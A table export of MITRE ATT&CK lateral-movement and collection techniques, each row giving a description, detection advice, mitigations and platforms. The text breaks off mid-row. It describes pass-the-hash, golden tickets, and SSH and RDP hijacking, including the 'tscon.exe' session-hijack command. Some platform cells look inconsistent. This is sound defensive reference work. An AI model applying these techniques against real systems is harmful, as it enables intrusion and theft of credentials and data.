T1075	**1**	**Technique**	**Pass the Hash**	Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)	Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.	Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering) Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.	lateral-movement	Authentication logs	Windows		https://attack.mitre.org/techniques/T1075

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1097	**1**	**Technique**	**Pass the Ticket**	Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket) Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks) Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)	Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)	Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks) For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection) Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	lateral-movement	Authentication logs	Windows		https://attack.mitre.org/techniques/T1097
T1076	**1**	**Technique**	**Remote Desktop Protocol**	Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS. Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware) Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)	Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.	Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)	lateral-movement	Authentication logs, Netflow/Enclave netflow, Process monitoring	Windows	Remote Desktop Users, User	https://attack.mitre.org/techniques/T1076
T1105	**1**	**Technique**	**Remote File Copy**	Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).	Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control, lateral-movement	File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow	Linux, macOS	User	https://attack.mitre.org/techniques/T1105
T1021	**1**	**Technique**	**Remote Services**	An adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.	Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.	Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire [Valid Accounts](https://attack.mitre.org/techniques/T1078) that can be used by existing services.	lateral-movement	Authentication logs	Linux, macOS		https://attack.mitre.org/techniques/T1021
T1051	**1**	**Technique**	**Shared Webroot**	Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured. This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)	Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.	Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation. Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)	lateral-movement	File monitoring, Process monitoring	Windows		https://attack.mitre.org/techniques/T1051
T1184	**1**	**Technique**	**SSH Hijacking**	Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH) [SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).	Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.	Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)	lateral-movement	Authentication logs	Linux, macOS	User, root	https://attack.mitre.org/techniques/T1184

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1080	**1**	**Technique**	**Taint Shared Content**	Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally. A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot) Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.	Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques. Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.	Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET). Reduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing. Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	lateral-movement	File monitoring, Process monitoring	Windows	User	https://attack.mitre.org/techniques/T1080
T1077	**1**	**Technique**	**Windows Admin Shares**	Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares) The [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)	Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting Lateral Movement)	Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems. Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	lateral-movement	Process use of network, Authentication logs, Process monitoring, Process command-line parameters	Windows	Administrator	https://attack.mitre.org/techniques/T1077
TA0009	**0**	**Tactic**	**Collection**	The adversary is trying to gather data of interest to their goal. Collection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.							https://attack.mitre.org/tactics/TA0009
T1123	**1**	**Technique**	**Audio Capture**	An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.	Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.	Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	collection	API monitoring, Process monitoring, File monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1123
T1119	**1**	**Technique**	**Automated Collection**	Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.	Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques. Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	collection	File monitoring, Data loss prevention, Process command-line parameters	Linux, macOS	User	https://attack.mitre.org/techniques/T1119
T1115	**1**	**Technique**	**Clipboard Data**	Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. ### Windows Applications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) ### Mac OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents (Citation: Operating with EmPyre).	Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.	Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	collection	API monitoring	Linux, Windows		https://attack.mitre.org/techniques/T1115

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1530	1	**Technique**	**Data from Cloud Storage Object**	Adversaries may access data objects from improperly secured cloud storage. Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.	Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.		collection	Stackdriver logs, Azure activity logs, AWS CloudTrail logs	AWS, GCP	User	https://attack.mitre.org/techniques/T1530
T1213	1	**Technique**	**Data from Information Repositories**	Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also collect information from shared storage repositories hosted on cloud infrastructure or in software-as-a-service (SaaS) applications, as storage is one of the more fundamental requirements for cloud services and systems. The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources Specific common information repositories include: ### Microsoft SharePoint Found in many enterprise networks and often used to store and share significant amounts of documentation. ### Atlassian Confluence Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.	As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.	To mitigate adversary access to information repositories for collection: * Develop and publish policies that define acceptable information to be stored * Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization * Enforce the principle of least-privilege * Periodic privilege review of accounts * Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories	collection	Azure activity logs, AWS CloudTrail logs, Stackdriver logs, OAuth audit logs	Linux, Windows	User	https://attack.mitre.org/techniques/T1213
T1005	1	**Technique**	**Data from Local System**	Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration. Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.	Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	collection	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS		https://attack.mitre.org/techniques/T1005
T1039	1	**Technique**	**Data from Network Shared Drive**	Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Adversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.	Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	collection	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS		https://attack.mitre.org/techniques/T1039
T1025	1	**Technique**	**Data from Removable Media**	Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Adversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.	Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	collection	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS		https://attack.mitre.org/techniques/T1025
T1074	1	**Technique**	**Data Staged**	Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.	Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.	collection	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS		https://attack.mitre.org/techniques/T1074

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1114	**1**	**Technique**	**Email Collection**	Adversaries may target user email to collect sensitive information from a target. Files containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific key words.(Citation: Black Hills MailSniper, 2017) ### Email Forwarding Rule Adversaries may also abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim's organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: TIMMCMIC, 2014) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.	There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity. Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for 